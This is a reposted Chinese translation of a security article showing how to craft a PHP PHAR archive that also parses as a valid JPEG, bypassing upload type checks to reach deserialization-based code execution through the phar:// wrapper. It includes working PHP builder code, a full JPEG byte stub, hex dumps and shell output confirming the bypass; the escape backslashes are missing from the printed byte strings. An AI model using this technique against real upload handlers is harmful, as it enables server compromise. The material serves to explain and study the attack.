概述
2018年的美国黑帽大会表明可以从PHAR包中获取RCE,并且可通过调整其二进制内容,将其伪装成完整的有效图像,从而绕过安全检查。
接下来就让我们一起看看这是如何做到的吧。
背景
在2018年的美国黑帽大会期间,Sam Thomas召开了一个关于利用PHP中的Far://流包装器在服务器上执行代码的会议(幻灯片在此)。
在执行PHAR包时,PHP会将其内容反序列化,允许攻击者启动PHP对象包含链。最有趣的部分是如何触发有效负载:存档上的任何文件操作都将执行它。最后,没有必要猜测正确的文件名,因为失败的文件调用也需要PHP来反序列化其内容。
作为奖励点,完全可以将PHAR包伪装成100%有效的图像。
在这篇文章中,我们将展示如何做到这一点。
低至字节码级别
有时我们会忘记文件只是遵循预定义结构的一堆字节而已。
应用程序将检查它们是否可以管理这样的数据流,如果它们成功,它们将产生输出。
在他的演讲中,Thomas对如何创建具有有效JPEG标头的PHAR包做出提示。
(图片来自Sam Thomas的演示PPT)
我们要做的就是创建一个包含JPEG头的文件,并相应地更新PHAR校验和。通过这种方式,它将被视为一个图像,但PHP能够执行它。
第一步
更改几个字节并更新校验和应该可以轻松完成,对吧?
并不是。
最后,(至少对我来说)计算校验和是一件痛苦的事情。我就在想:是否能用PHP来为我做这些工作呢?
于是,我对Thomas的源码进行了修改:
class TestObject {}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("xFFxD8xFFxFEx13xFAx78x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
正如你看到的,我们将原始HEX字节添加到PHAR归档的存根部分。这是原始的HEX结果:
tampe125@AlphaCentauri:~$ xxd phar.jpeg
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB
它是一个有效的PHAR包和JPEG图像吗?
tampe125@AlphaCentauri:~$ file phar.jpeg
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
PHP成功将其识别为图像,我们可以继续探索存档的内容。
主要内容请查看存根部分并注意看它是如何缺少打开的PHP标记。这是躲过大多数扫描程序的关键部分。使存档有效的关键是__HALT_COMPILER()函数; 我认为PHP会用它作为标记来知道它应该跳过多少数据。
更进一步
我们有一个文件可以避开所有基于文件头的检查,但不能避开比检测文件头更复杂的一些检查。例如,检查图像的getimagesize将返回false,因为我们没有一个真实的图像文件:
tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)
糟糕!
等等,我们完全可以在__HALT_COMPILER()函数之前注入尽可能多的乱码。
如果我们要制作整个图片呢?
花了太多时间来讨论JPEG规范和阅读PHP源代码(我不希望其是我最大的敌人),我决定再次装傻。
我可以简单地使用GIMP创建一个10x10黑色图像,并把它嵌入进去吗?
class TestObject {}
$jpeg_header_size =
"xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13".
"x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02".
"x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15".
"x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14".
"x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01".
"xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03".
"x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11".
"x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20".
"xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda".
"x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
现在,是检验的时刻了:
tampe125@AlphaCentauri:~$ file phar.jpeg
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
[0] =>
int(10)
[1] =>
int(10)
[2] =>
int(2)
[3] =>
string(22) "width="10" height="10""
'bits' =>
int(8)
'channels' =>
int(3)
'mime' =>
string(10) "image/jpeg"
}
最后,我们成功啦!文件是一个PHAR包,其中包含了我们想要利用的类,但它仍然是一个有效的图像(它甚至可以用系统的图像查看器打开):
结论
如上文所述,文件只是一堆字节:如果我们所做的检查都是基于其元数据的,那这个过程将会比较难受。篡改核心函数以返回我们想要的结果是非常容易的。唯一的解决方案是实际地读取文件内容并搜索恶意字符串。
翻译:看雪Logdty
校对:看雪cherrir
最后
以上就是害羞大地为你收集整理的伪装成图片的php脚本,[翻译]如何将 PHP Phar 包转化成图像以绕过文件类型检测的全部内容,希望文章能够帮你解决伪装成图片的php脚本,[翻译]如何将 PHP Phar 包转化成图像以绕过文件类型检测所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复